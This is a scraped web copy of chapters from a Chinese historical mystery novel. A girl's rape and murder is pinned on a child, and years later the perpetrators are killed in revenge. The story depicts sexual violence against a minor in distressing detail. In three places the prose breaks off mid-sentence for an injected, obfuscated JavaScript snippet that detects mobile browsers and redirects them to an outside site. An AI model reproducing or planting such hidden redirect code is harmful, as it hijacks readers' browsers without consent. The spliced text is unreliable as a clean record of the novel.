她一个人隐没在黑暗里，月色和火光都没注意到她。 这间破庙很大很空旷，除了正中央摆放着那一座观音像外，没有香火，没有贡品，观音像也像是蒙上了一层灰蒙蒙的雾，常年无人打理，前方的桌案上都生了灰，远远看着都觉得脏。 桌案旁堆着一些稻草，被压的平实，像是有人在上头躺过。 这时，吸引她注意力的是庙里一声声绝望的哭嚎。 在破庙宽敞的地面上，围着三个衣冠不整的少年，他们毫不掩饰的笑容里带着几分扭曲的恶意，如同狰狞的野兽，光是看着就觉得不寒而栗。 晏宁目光微垂，注意到两个少年中间还躺着一个女孩子，青涩稚嫩的身躯裸｜露着，四肢大开，原本白皙光滑的肌肤上布满青青紫紫的痕迹。 另有一个少年伏在她身上，前后耸动，下肢光裸。 晏宁吓呆了，双眼大睁着，连一步都忘了挪动。 庙里只有桌案上放着两盏纸灯，应是这三人从城里顺手买来的，一个是兔子灯，一个是荷花灯，在暗淡的天色里努力的发着光，同时也照亮了这三人肮脏又阴邪的内心。 女孩子哀伤痛苦的哭嚎连同着他们疯狂肆意的大笑交织在一起，谱成一曲诡异阴森的哀乐。 晏宁脊背发寒，比夜色更冷的是人心。 那时她尚且年幼，对男女之事虽模模糊糊，但眼前的一幅画面又怎能用正常言语来形容呢？ 庙里少女的哭声渐渐弱下来，变成细细的啜泣，似是无力再哭。 中间的少年终于起身，脸上带着餍足的笑，晏宁被这笑容吓得浑身一哆嗦，乍然回神，转身就想离开。 她这么一动作，在静谧的夜里显得无比清晰。 少年犀利的目光陡然射向门口，见一个人影欲跑，厉声喝道： “拦住她！” 三人齐齐冲过来挡在她身前。 为首的少年约莫十来岁的模样，个子比她高出许多，手上还在系裤腰带，上下打量晏宁一眼，眯眼笑：“哪来的野小子，敢打扰本公子的好事。” 晏宁常年营养不良，长得娇小无比，面黄肌瘦，土里土气，加上蓬头垢面，脸上都是被人殴打出来的伤痕，穿得破破烂烂，这三人一时没看出她是女孩子。 一人语出讥讽道：“又矮又丑，真是倒胃口。” 晏宁没说话，只默默往后退，一双眼警惕又戒备地盯着他们。她这一退，三人也跟着前进，不怀好意的目光将她看得浑身发毛。 这时，庙里传来动静。 尚存一丝力气的少女拼命的往外爬，那道门槛就像是一道生死的界限，她努力地、求生的本能驱使着她往前爬。 她爬过的地方泥泞不堪，划过一道长长的血污。 “看住他！” 少年丢下这句话，便往庙里走，在女孩子即将抓住门槛的那一刻，他高大的身子在她头顶笼下一片阴影。 像一辈子再也难以抹去的阴霾，无法逃离那名叫命运的囚笼。 女孩子抬起头，本来清丽明媚的脸糊满泪痕，眸中空洞无神，只定定看着少年朝她俯下身，然后抓着她后领往庙里拖去。 晏宁被剩下二人推了一把，将她往庙里推去。 一人盯着女孩的身躯舔了舔唇，“阿玉，你也玩了这么久了，该到我们了吧？” 叫“阿玉”的少年扬眉笑道：“你着什么急，总有你玩的时候。” “别说，这丫头的身子可真嫩啊，水灵灵的，一掐就红。” 他们满口污言秽语，晏宁想捂住耳朵，但眼前两人盯她盯得紧，只要一动就立刻看过来，她不敢轻易动弹。 身后的哭声再次响起，伴随着某些奇怪的动静，她面前二人始终盯着那边，竟也没心思再盯着她，望着那个方向，双眼赤红。 没等她反应过来，这二人也朝那边扑去，晏宁吓了一跳，跌坐在地上。 此起彼伏的呼吸声都被淹没在一阵响动里。 渐渐地，晏宁听不到女孩的声音了，她缓慢扭过头，只看了一眼，便扭身到一旁，低头狂吐。 她腹中一阵痉挛，可常年不曾吃过一顿好的，她再吐也吐不出来什么，只能不停干呕。 “嗤。” 那三人提上裤子，朝她瞥了眼，阴阳怪气地嘲讽，“也是没福气啊，他要长得再大一点，没准我还能分他玩玩。” 一人狗腿似的道：“阿玉你就是太心善了，这种脏的跟狗似的小子，何必管他。” 几句讨好般的话说得他心满意足，三人也不再管晏宁，准备离去，这时有人惊慌声响起：“阿、阿玉，你看她……是不是不动了？” 宋良玉一愣，也低头看去。 女孩双眼睁大，本来灵动的双眸却只剩下一片死寂，脸上泪痕未干，身上青紫遍布，身下更是无法言喻。 一阵狂风吹进庙里，将桌案上两盏纸灯里的烛火尽数吹灭，惹人一阵寒毛直竖。 女孩的惨状犹在眼前，在这空荡的破庙里显得愈发诡异可怕。 三人也都慌了神。 宋良玉踢了踢女孩的腿，一动不动。 他吞咽一下，佯装镇定道：“没事，又没人看见，怕什么！” 听他这么说，另外两人也勉强放下心，心想也对，这荒郊野外，等人发现的时候尸体早已凉透，任谁也查不到他们身上来。 但心中仍有一丝担忧，大抵是做了亏心事，始终无法平静下来。 风吹过破庙，如同方才女孩的哀哭，凄凉悲怆。 他们双股颤颤，觉得后背一阵发凉。 “啊——” 一阵尖锐的叫声打破静谧的夜晚。 三人猛地看去，门外站着两个少女，手中提着纸灯，他们冲上去将人围住，半是恐吓半是警告：“无论你们看到了什么，最好咽进肚子里，否则……”他一把抓起其中一个少女的手，油腻腻地抚摸着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831687|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少女摆脱不得，她的同伴用力将她的手抽出，不停点头，满口应下：“我们知道、知道……” 三人放下心，但望着破庙里的尸体总觉得是个麻烦，随后不由自主地将目光落在一旁的晏宁身上。 晏宁从前感受过不少的恶意，她对人眼中恶念的感知极其敏锐，登时爬起来就往另一边跑去。 可最终还是没能躲过。 被三人拉进破庙里时，她面色发白，不过她脸很脏，被夜色掩盖的又不易看出。 手腕被箍地生疼，她抬眼，直直撞进了那双如恶狼般的目光里。 凶光毕露、阴冷锋锐、狰狞可怖。 难以想象半大的少年会流露出这样不加掩饰的恶意。 晏宁被抓住，看着沈良玉到那两个少女面前低声说：“一会儿需要你们做个证。” 那二人愣了愣，看向晏宁，面露不忍，但最终还是点了点头。 晏宁反倒平静下来。 一人前去报官，不知道他是如何添油加醋地说了一通，总之官差来时，气势汹汹，凶神恶煞，仿佛也被‘真相’惊得说不出话来。 好好的一场上元佳节就这么被弄坏了兴致。 一群官差往城外赶，城中百姓都被惊动了，当下议论声四起，有好事者跟了上去，一路跟到了郊外。 那间破庙四周本是人烟稀少，静谧无声，被这么一闹，里里外外都站满了围观百姓。 官差将他们挡在外头，进到庙里，视线还没在站着的几人身上多做停留，一眼便注意到躺在地面上，浑身赤｜裸，样貌却稚嫩的少女，他登时震惊到无以复加，握着佩刀的手紧了紧，显然他们处理过那么多案子，也没遇到过这种情况。 用一个‘惨’字已难以形容。 除了最初时不可避免的那一眼，接着他便急忙扭过头，动作迅速地解下佩刀，将外衣脱下，目不斜视地走过去，盖在少女身上。 随后，转向一旁，怒目而视，“谁干的！” 他扫过面前几人，忽略那两个少女，其余之人年纪最大的也不过十四五岁，却能做下如此丧心病狂之事。 来府衙报案的是名叫周言的少年，他忍着怒气问：“你说你看到了，究竟是哪个混蛋？！” 周言心头一颤，一时有些心虚，但余光瞥见宋良玉警告的神色，他心一横，指向一旁的晏宁，“就是他！我亲眼所见！” 官差生得高大，神情亦是凶狠，见此惨状压根控制不住，‘唰’的就将目光刺向一旁，却在看到是一个娇小的孩子时，愣住了。 他怀疑道：“你确定是他？” 看他的模样估计还不到十岁，能弄明白男欢｜女爱吗？ 晏宁始终被陆逍抓着手腕，眼中含泪，口中坚持道：“不是我……” “差爷，你可别信他！不止我们看到了，那二人也看了！” 陆逍手指外边的两个少女。 官差见那两人点头，虽觉可疑，但有人作证，却也令他不得不信，毕竟人的恶念是不分年岁的。 他脸色沉下来，当即就要喊人，这时外头传来一阵骚乱。 一道年轻稚嫩的声音响起，“民女霍云清，有劳差爷行个方便。” 26. 执念 “当年之事确实是我对不住姑娘，险些酿成大错，好在恶有恶报，如今该死的都死了。” 晏宁凝眸，“这么说来，姑娘是承认了。” 何妧淡淡笑了下，转身掀开帘子往里走。 妇人抬手示意：“二位姑娘请。” 晏宁早就听清璇提起过，胭脂铺的后面是一座宽敞的院子，眼下看来，的确与众不同。 她们走进凉亭，一个女子主动上前为她们倒茶，晏宁默不作声地打量，这铺子里只有女子，她们话不多，神色也淡，安安静静地站在一旁，她盯着杯中茶水看了片刻，执起茶杯饮了一口。 她并不担心水里下药，若眼前人真要害人，也不会告诉她们那么多有用的消息了。 何妧笑了下，但许是她极少笑，脸上神情僵硬，显得不是那么自然，“姑娘变化真大。” 晏宁沉默不语。 “你就不想问问我吗？” “问你什么？” 何妧道：“案子。” 晏宁放下茶杯，朝她看了眼，“你是为了报复？” 何妧一怔，随即笑道：“你知道了。” “我虽猜到这一层却不明白为什么。” 死的三人正是当年奸杀女孩的恶徒，她不信世上真有如此凑巧之事。 可当年她分明不认识女孩，为何会决定为她复仇？ 晏宁心中生疑，却耐着性子等她开口。 “当年……” 破庙外，挤满了看热闹的百姓，但都被官差堵在远处，不许任何人靠近，他们也无从得知究竟发生了何事，但有人不知打哪儿听来一些内情。 “听说是个小姑娘死了，死状凄惨，凶手还是个小乞丐。” “天杀的！哪来的坏心肠，做下这等造孽之事，也不怕被雷劈！” “谁说不是呢！而且还是奸杀，果然是有娘生没娘养的狗杂种……” 众人议论纷纷，仿佛亲眼目睹般，咬牙切齿地咒骂。 这时，一个女孩从远处走来，身旁还跟着几个护卫，替她挡开围观百姓，不让任何人沾到她一片衣角。 有人认出她来，小声嘀咕：“怎么连霍家都来人了？” 在这定襄城里，自然无人不识得霍家，一个声名赫赫的大家族，时常施粥送药，接济穷人。对这霍云清更是熟悉，年纪虽小，容貌也算不上上乘，但胜在温婉善良，性子更是恬淡，与人无争，提起她，人人都会夸赞两句。 霍云清走到官差面前，微微欠身道：“民女霍云清，还请差爷行个方便。” 庙里出来一人，是方才那个脱去外衣的官差，他板着脸问：“吵什么！” 见到女孩，他神色稍缓，温声道：“是五姑娘啊，你或许要等等，等我处理完手头公务……” 霍云清摇头，“恐怕不能。”她平静道：“民女正是为了此事而来。” 她看一眼四周，“可否容我里面说话？” 官差思索片刻，便带她进去了。实在是这案子蹊跷得很，虽有人证在侧，但他仍旧心存疑虑。 一进庙里，宋良玉看到官差身后跟着一个无关之人，双眼当即瞪圆，生怕出现意外，“差爷，你怎么能随随便便就让人进来？” 官差把手往刀柄上一压，气势如山，“我做事需要你多嘴。” 宋良玉心有不甘，但迫于他的威压只能闭嘴，反正木已成舟，即便这人说破了天，也不会改变什么。 他放下心来，有恃无恐地盯着她。 霍云清一进来，目光就落在晏宁身上，开口第一句便是：“凶手不是她。” “什么？！” 官差自是错愕，被她这句话打了个措手不及。做了亏心事的三人也吓得呆住了，宋良玉目眦欲裂，瞪着她：“你凭什么说不是？我们都是亲眼所见！”他看了看霍云清，又看了眼晏宁，顿时口无遮拦道：“该不是你和他有一腿，才如此心急为她开脱吧？” “住口！” 霍云清并不辩解，神情也平静，倒是官差怒斥了他一下，“你也不看看在你面前的是什么人！不想活了？！” 适才他心急又心虚，虽看着女孩，但并不敢直视她的脸，如今借着月色认真看过去，这才认出来，嘴角的笑登时僵住了。 可他依旧认定她手中无证据，咬死了凶手就是晏宁，霍家人又如何，还能当着众人的面将黑的说成白的？ “五姑娘，不知你此言可有证据？” 霍云清抿唇，轻轻摇了摇头。 “那就只能把人带回去了。”官差说着便要吩咐人动手。 “且慢。” 霍云清往前走了两步，走到晏宁面前，对一旁抓着她手的少年道：“可否请你松手？你弄疼她了。”女孩声音温温柔柔，却带着一股力量，她声音不大，却让晏宁眼睫一颤。 陆逍鬼使神差地松了手，反应过来后又想上前抓着，但霍云清挡在身侧，那些护卫又不可能让人靠近她，因此将二人都护住了。 官差皱眉，虽说有霍五娘一番言论，但他必须公事公办，正要开口时，霍云清道：“差爷有所不知，我虽无证据，但在我身旁的是个姑娘。” 气氛死一般的宁静。 各人反应都不同。 官差愣了许久，才渐渐找回自己的声音，他道：“你、你说什么？” 霍云清定定看着他，神情已经解释了一切。 “你胡说八道！” 一旁传来一声咆哮。 众人看过去，宋良玉面色狰狞，双目充血，原本官差也是被那句话给砸懵了，这一看他反应，便已信了七八分。 随后联想整件事，脸色越来越黑，眸中盛着怒火，握着佩刀的手用力到青筋暴起。 一个人……不，或许是三个人，做下天理难容的恶事，事后却想找个替死鬼，以此来掩盖自己的罪行，他们想得很简单，现场并无证据，三人沆瀣一气，狼狈为奸，将祸事推到一个孩子身上，因为她即便有嘴，也难以解释得清，或许她尚且无法弄懂所有情况。 可没想到，却留下致命破绽。 女儿身…… 官差牵了牵唇角，女儿身如何行奸？ 案子水落石出，他冷冷盯着那三人。 一见情况不对，三人终于慌了，连忙喊冤，可无论他们怎么说，最终还是被压回府衙。 霍云清见事情已了，转身看向晏宁，温柔一笑，“已经没事了。”她低头看到晏宁手腕上被掐红的伤痕，轻柔地吹了吹，“很疼吧？你随我回去，我给你上药……” 话音未落，晏宁就猛地推开她，往桌案后躲去，警惕地盯着她。 她们并非初次见面，但她身上防备不减，浑身是刺，对谁都不信任。 无论霍云清如何说，她不吭一声，离她远远地。 众人都已散去。 “妧娘，我们也走吧？” 何妧从方才起就盯着那具尸体看，直到尸体被人抬走，她也没移开视线。 同伴不解，“怎么了？” “没事。”何妧回神，朝晏宁那边看了一眼，正巧撞上那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831688|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双幽黑的眸子，看似平淡，但她看到她眼里的不甘、不解、茫然，心头忍不住发颤，不敢继续看下去，垂眸，转身离开。 一个五六岁的孩子在还未能彻底拥有分辨是非的能力的年岁遭受到无端指责与冤枉。 她知道自己做了错事，若没有霍五娘的突然出现，晏宁会一辈子钉在耻辱柱上，蒙上不白之冤，或许也会因此葬送性命。 可她太害怕了。 被三人威胁时，她下意识逃避，为了不落得和地上那个女孩一样的下场，她选择和他们做一样的人，从她下定决心的那一刻，她的心已经脏了。 用别人的命来换自己的命，她懦弱、自私、胆小…… 与同伴回到定襄城中后，她想到死去少女的模样，心中尤为不安，找了个理由便将同伴支开，孤身前往府衙。 衙门里的人已贴出告示让人前来认尸，大抵是询问无果，不知此人是哪家姑娘。 她站在府衙外，心跳如擂鼓，强烈撞击着胸腔，像衙门外那面被击响的鼓面。她走上前，轻声道：“我来认尸。” 衙役看了她一眼，带她进去。 尸体放在一间小房子里，四面无窗，不透风，黑漆漆一片，她不知自己如何走到这儿的，只是当意识回笼，她已掀开白布，看清了少女的脸。 刹那间，脑袋一片空白。 呼吸渐渐变得急促起来。 她握着白布的手在颤抖，指尖用力到发白，嘴唇毫无血色，浑身像被抽干了力气，跌坐在地上。 染上血污的白布垂落到地上，轻轻飘荡，像少女在同她告别。 她知道为何一直无人前来认尸。 少女是个孤女，和她们都一样，却也不一样。 记忆中女孩的笑容纯粹又明媚，如太阳般温暖，如繁星般璀璨。她喜欢平淡的生活，不会因为身世凄惨就自怨自艾，她清清白白地来，也得干干净净地走。 何妧向官差交代了情况，又跟着等了一日，确定无人来认尸，众人便让她将尸体带走。 她托人帮忙将女孩带到那间茅草屋后，那儿有一片巨大的空地，青山绿水，鸟语花香。 她认真的帮女孩擦拭身上污渍，所有的秽物都不该出现在她身上。 女孩给了她第二次生命，可她做了什么？ 后来听闻那三人被判刑，她安慰自己凶手得到了应有的报应，一切都会好起来的。可每日午夜梦回，她总能梦见第一次遇到女孩的情景…… 海边涛浪滚滚，巨浪击打礁石。 她被冲到了沙滩上，昏睡了几日后醒来，见到的便是那样一张笑脸。 她的眼睛像会说话，不自觉的就能抚平身上所有痛楚。 那些日子里，她了解到女孩没有亲人，一人独自生活，可她却能在这样艰难的日子找到一丝快乐。 她明明是一个对生活充满无限希望的人啊—— 梦被惊醒，她还未说服自己，就得知凶手跑了。 县官被人买通，那三人举家搬迁，以逃避的方式躲过律法。 一个孤女的命的确不值钱。 纵然有人不平，但世道上的不平事太多了，这件事不过如沙砾一般，丢进茫茫江河，转眼消失无踪。 一阵浪潮过后，日子照样继续…… 可何妧的噩梦才刚刚开始。 她陷入无尽的痛苦与自责，悔恨与煎熬让她像被丢进油锅反复煎炸。一边是为活命推别人去死，一边是没能及时阻止悲剧发生。 良心不安最终导致了她生出执念。 27. 相挟 “所以，你一直在为她复仇。” 晏宁看了眼她身边站着的那些女子，她们说话时并未刻意避开她们，显然这些人都是知道的，或许……也参与了。 她不知道是怎样的情义才能让这些人甘愿参与进这种必死的结局中。 日头西斜，起风了。 远处再次传来铁器碰撞之声，转瞬被湮没在风声里。 何妧沉默下来。 几息后，她没来由地冒出一句，“胭脂喜欢吗？” 晏宁一愣，反应过来她指的是清璇送给她的那盒胭脂，“味道挺好闻的。” 她没说喜欢，也没说不喜欢。 但胭脂里的兰花香味清新馥郁，带着一丝甜意。 “这是她最喜欢的花香。” 这个‘她’指的是谁，毋庸置疑。 晏宁抬头，将院子扫一眼，耳边再次传来那阵容易令人忽视的声响。 “我记得当年姑娘身旁还有一人。” 二人举止熟稔，显然关系匪浅。 她方才看过，站在庭院里的女子，没有一人与当年之人相似。 随着年岁增长，女子身形渐渐抽条，容貌亦会发生改变，但无论怎么变，总能瞧见少时身影。 可她潜意识里就是觉得那人不在这些人里。 何妧手上动作一顿，随即轻描淡写带过，“我所做之事为恶，非常人难以理解。” 她将这些事判定为恶，面不改色的替晏宁斟茶。 “那你就不担心我告诉顾大人吗？” 何妧看她一眼，轻轻笑了，“我所做之事皆已完成，姑娘说与不说，都已不重要，如今我引姑娘前来，只因还欠姑娘一句‘抱歉’。” “事情已了，姑娘请便。” 她始终平淡，说到仇恨时双眼无波，说到报官时更是面色如水，一副将生死置之度外的模样。 晏宁道：“事情结束了吗？” 何妧抬眼看她。 “若我猜的不错，这屋中还有两人。” 何妧不语。 在她身后一众女子面色隐隐紧张。 “一年前绮春坊里有位姑娘被人赎走，大家都说她已出城，却从未有人亲眼看见她走出城门。” “而这位姑娘正巧与三人都有过接触。” 话至此处，她停了下来。 当年她年岁小，能记得的事不多，但那件事闹得沸沸扬扬，三个少年奸杀女孩，事后却用银两摆平，连夜逃离定襄，有一段日子里，同样贫苦的百姓围堵在县衙外，吵着要县官给个说法，而当初参与办案的衙役之首，也因这不公的世道据理力争过，换来的却是被杖责，被赶出县衙。 此后，他处处掣肘，一方拳脚无处施展。 让更多人意识到无权无势便只能任其迫害。 细细想来，何妧能为女孩报仇，应是重情重义之人，没道理在多年后与昔日好友分道扬镳，闭口不谈。 除非…… 她想到另一种可能。 “还有一个凶手未死，事情不算彻底解决。” 何妧手指微蜷，“你这是何意？” 嗓音沙哑，面色微凝。 “若我没猜错，这屋中的另一人便是姑娘昔日好友。” 言毕，何妧竟有种如释重负的感觉，她知道晏宁很聪明，心思细腻，想不到多年未见，她更甚往昔。 “既如此，我也不瞒着姑娘了。” 何妧起身，带她们走到屋子前。 晏宁扫过两侧窗子，蒙上厚厚一层灰，院中的光亮透不进屋中，门上的锁又沉又重，伴随着“吱呀”一声，门开了。 一股难闻的气味扑面而来，晏宁不着痕迹地蹙了蹙眉。 这屋子的位置十分巧妙，即便开了门，有空气涌入，仍觉得阴沉沉地，一旁有棵大树，将大半的光亮挡在门外，只吝啬的留下几丝光影。 晏宁跟着走进去，潮湿阴冷的角落里坐着一个人，她低着头，面色惨白近乎透明，长发散乱，染着污泥。 衣袖和裤腿断了几寸，手腕和脚踝都是被铁链束缚摩擦留下的红痕。 她听到响动，缓慢而迟钝地抬头。 漆黑的屋子里泄入一丝淡淡的亮光，对她而言，也是难得。 她微眯着眼，勉强看去。 在看到几张熟悉又陌生的面孔后，她像是并未察觉般，重新低下头。 她无神的眼中是早已习惯的漠然。 无论来者何人，都与她无关。 晏宁盯着她，骨瘦如柴的女子再不见往日灵动娇俏，她如一具行尸走肉，无主的魂飘荡在这世间。 一旁走来一人，“妧娘，你怎么来了？” 晏宁朝她看过去，不必多想，就知这人定是蝶衣无疑了。 “可是外面发生了什么？” 蝶衣忧心忡忡，“我还是走吧，免得他们查到这里来。” 何妧没说话，几个女子站在门外，俱是一言不发。 晏宁看着她们，似乎明白了什么，心中一股微妙的、奇异的感觉流淌而过。看着看着，她面色渐渐冷却，绕是清璇都察觉到气氛僵硬。 她左看右看，回头看看，心下生出不安，被众人围在中间，平白觉得骑虎难下。 仿佛她们成了砧板上的鱼肉，任人宰割。 她轻轻拉了拉晏宁的衣袖，“姑娘……” 适时，晏宁开口：“何姑娘有话不妨直说。” 何妧心知此事是她们做的不厚道，但为了这些姐妹，她别无选择。 “姑娘聪慧，我亏欠姑娘良多，若天有报应，便让它落在我一人身上。” 何妧直视她双眼，双腿突然动了，她后退一步，跪下，“求姑娘……” 晏宁双手微微握紧，片刻后，又慢慢松开。 走在回客栈的路上，二人缄默。 街道上变得冷清不少，显然在凶手尚未落网之前，百姓们始终无法彻底放下心。 她们停在客栈外，晏宁看着周围人来人往，想到胭脂铺后院里那一张张清秀的脸庞，其实她大可以去县衙将这些事透露给顾绍之，只要不是自己动手，也无愧于心。 可莫名地，她竟走不动道了。 她也不是什么好人，双手也曾沾染他人的血，何必多管闲事呢。 “七娘。” 晏宁扭头见一男子从远处走来，手中提着食篮，她神色微有动容。 谢鹤明到了跟前，将篮子掀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831689|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开一角，笑道：“幸好还是热的，你一会儿拿回屋趁热吃。” 晏宁瞥见篮子里各色糕点都有，甜香从缝隙里漫出来，教人口齿生津。 她本意只是将他支开，何曾真的想过让他替自己去城东买糕点，城里糕点铺很多，她不是挑剔之人，没尝过的味道都一样。 可随口一说，他竟当真了。 晏宁着实弄不明白这人在想什么。 她伸手接过，“多谢。” 谢鹤明笑容灿烂，目送晏宁上楼。 元青在一旁瞧着，提醒道：“公子，你帮人跑腿也这么开心吗？” 自然无人回应他。 到了傍晚，晏宁出门前交代了清璇几句，等她走了有一会儿，这才收拾好往县衙走去。 客栈楼下，谢鹤明主仆二人面对面坐着，晏宁一下楼，他就对她扬起笑脸，“七娘，要不要吃点东西？” “不必，多谢。” 晏宁没管他，继续朝门外走，见状，他又连忙跟上，“你是要去县衙吗？找到线索了？其实也不必着急的，天快暗了，吃点东西再去也来得及……” 他一路絮絮叨叨，连元青都一脸诧异地看他。 晏宁终于忍无可忍停下，她冷着脸，“我与谢公子不同，并非无所事事，若公子当真闲得慌，不如去街上逛逛。” 她这话说得不留情面，也不看他是何反应，扭头便走。 在到县衙外时，正巧撞见顾绍之带着县令和一众衙役即将出门，顾绍之瞥见她，快步走上前道：“晏姑娘来的正好，方才有人报案，说发现了凶手的踪迹。” 晏宁惊愕，不可置信道：“凶手？” 案子正陷入焦灼，如何能找到凶手？ 顾绍之点头，越过她看向她身后的谢鹤明，“一起去看看吧。” 路上，顾绍之告诉他们，是一个乞丐报的案，本来众人没当一回事，可他说，那间屋子里有染血的木棍，绳索，银线…… 案情复杂，个中详情外人岂会知道的如此清晰，若非亲眼所见，便是凶手无疑了。 他让人将乞丐扣下，带上人一同前往乞丐所交代的那间屋子。 离县衙不远，有一间屋子，推门而入，一阵腐臭味迎面袭来。 晏宁捂住口鼻，跟着人群踏入。 同乞丐交代的一样，满屋的血迹，顾绍之命人搜查，并将左领右舍都叫来问话。 “这屋子常年无人居住，也不见有人出入过。” “什么！命案？！大人，我什么都不知道！” “谁？他们啊，那谁能不知道，我们这里破破烂烂的，他们怎么可能会来？” 一问都是不知道，没见过。 “大人！”衙役匆匆跑来，“发现一个人！” 两个衙役拖着一个披头散发之人走来。 她神情恍惚，脸上似笑非笑，似哭非哭，被人拖拽着，膝盖在地上摩擦，划过一道长长血污。 衙役松了手，将她丢在地上。 顾绍之蹲下身，问：“你叫什么名字？” 无人回应。 他又问：“你可认识宋良玉、陆逍、周言三人？” 依旧无人回应，但她面色浮现一丝异样。 28. 因果 晏宁的目光并未在地上之人脸上停留太久，她往右侧屋子走去，方才衙役就是从这里将人拖出来的。 屋中杂乱，东西被翻得到处都是，她隐隐嗅到一股奇特的香味，与绮春坊那日所嗅别无二致，想起何妧同她所说之物，在屋内环视一圈后，目光落在某一处，面上一凝，走到角落里，将桌上摆放着的一株不起眼的盆栽打翻。 盆栽是铜制的，上面种着一株兰草。 被她摔在地上，四分五裂，泥土散落一地。 香味渐渐淡了。 因四周都是嘈杂动静，竟一时无人注意到此处。 做完这些后，她面不改色回到门外，又一波衙役涌入，里头被踩得愈发凌乱。 谢鹤明无声无息出现在她身旁，问：“七娘，发现什么了？” 晏宁同他拉开距离，不冷不淡道：“什么都没发现。” “不至于吧。”谢鹤明看向她，双目清透，像是将她从里到外看个清楚明白，“七娘如此聪慧，当真一无所觉？” 话里话外，暗藏机锋。 晏宁扭头，这个人从头到尾都一副旁观者的姿态，他悠然自得地欣赏这一出出戏，他不曾入局，也未在局外，却仿佛洞悉了一切，他的笑并非全是善意，或是伪装，晏宁温和的笑了下，清澈的杏眼里写满天真，“公子抬举我了。” 他们都心知肚明，却都愿意装聋作哑。 “……是我杀的……都是我做的……” 一道声音传来，晏宁收回视线，转身朝前走去。 顾绍之还在问：“你杀了谁？除了你以外，还有何人参与？”他坚信，一个人是不可能犯下三起案子，其中必有帮手。 “……是我杀的……” 自始至终，她都在重复着这一句话。 神色恍惚，如魔怔了。 院中人面面相觑，顾绍之见她状态不对，派人去找大夫，他瞥见女子手腕上的伤，心中更是生出一丝狐疑，却在此时，外头响起接二连三的吵闹声。 只零星听见几句“凶手”“结案”。 顾绍之厉声问：“怎么回事！” 衙役慌里慌张进来禀报，“门外围着一群百姓，说是凶手既然已经抓到，就该打开城门，放他们出去。” 顾绍之沉下脸，“谁传出去的消息！” 他们前脚才到，百姓便闻风而动。 纵然他带着人前来时被人看见，可从未说过是抓到凶手了。 消息传的如此之快，若非有意为之，实在难以解释。 不多时，又有人进来禀报，“大人！百姓越来越多，再这么下去，怕是要出事啊！” 县令不知从哪儿钻出来，急道：“还不快去拦着，一会儿冲撞了顾大人，你有几个脑袋担待得起？” 顾绍之冷冷瞥他一眼，“冲撞了本官倒是小事，只是不知县令大人想如何阻拦百姓？拳脚相加还是出言警告？” 他指的自然是初到铜陵目睹官差欺辱百姓的那一幕。 县令讪讪不敢开口。 “先安抚好百姓，等大夫来了再说。” 此人是不是凶手还另说。 晏宁见衙役跑出门，目光微闪，此事已成定局，绝不可再出任何岔子。 过了须臾，大夫到了。 他穿过拥堵的众人，来到顾绍之面前，汗如雨下。 “有劳你帮她看看。” 他指向倒在地上的女子。 大夫应声，忙为她诊断，神色变幻莫测，又是皱眉又是叹息，最后摇摇头，“大人，此人应是生了癔症。” “何意？” “小人不敢妄言，只是观此人模样，双眼空洞，神色混沌，意识不清，脉象杂乱，非一日所致。” “你的意思是她病了许久？” “脉象确实如此……” 顾绍之定定看着女子，门外的吵嚷声还在继续，百姓情绪激动，扬言沈周陆三人死不足惜，凶手虽已落网，行的却是义事，更是指责官府当初不想着为他们讨公道，如今却为恶人东奔西走…… 字字句句都在控诉当官的不作为，和他们受欺压多年，心中的苦楚与不甘。 衙役将这些话一字不落地转达给顾绍之，所有人都在等着他决断。 空地上摆放着从屋里找出来的凶器。 他心中有许多困惑，可如今证据确凿，凶手落网，百姓威逼，真相是什么还重要吗？ 他抬头，鬼使神差地往晏宁那儿看了眼，后者温和朝他一笑。 那股异样感更加强烈，可他没等自己反应过来，话就出口了，“既然人证物证俱在，那就……结案吧。” 自此，城门大开。 百姓站在县衙外，感谢他们的明察秋毫。 沈周陆三家闹过几次，显然对这个结果很是不满，顾绍之心烦至极，将三人多年所犯之事一一展露在他们面前，厉声道：“这一桩桩一件件，哪件不是丧尽天良，你们用钱财来买通官府，却仍不思悔改，即便有人用钱来买他们三人的命，那也是他们罪有应得。” 最后，他道：“此事已经了结，若心有不甘，不妨出去问问，谁愿意替你们儿子讨个‘公道’？” 县衙外，晏宁嘴角微勾，终于露出一丝笑，“做的不错。” 清璇不好意思摸了摸脖颈，“我还担心赶不上，坏了姑娘的事。” 那日，她故意落下荷包，荷包里有几个碎银，被乞丐捡去，常年乞讨之人哪儿见过这么多银子，当即生了歹念，悄悄跟在她身后。 而她的目的正是要将他引入弄堂的那间屋子。 什么都不比亲眼所见来得震撼。 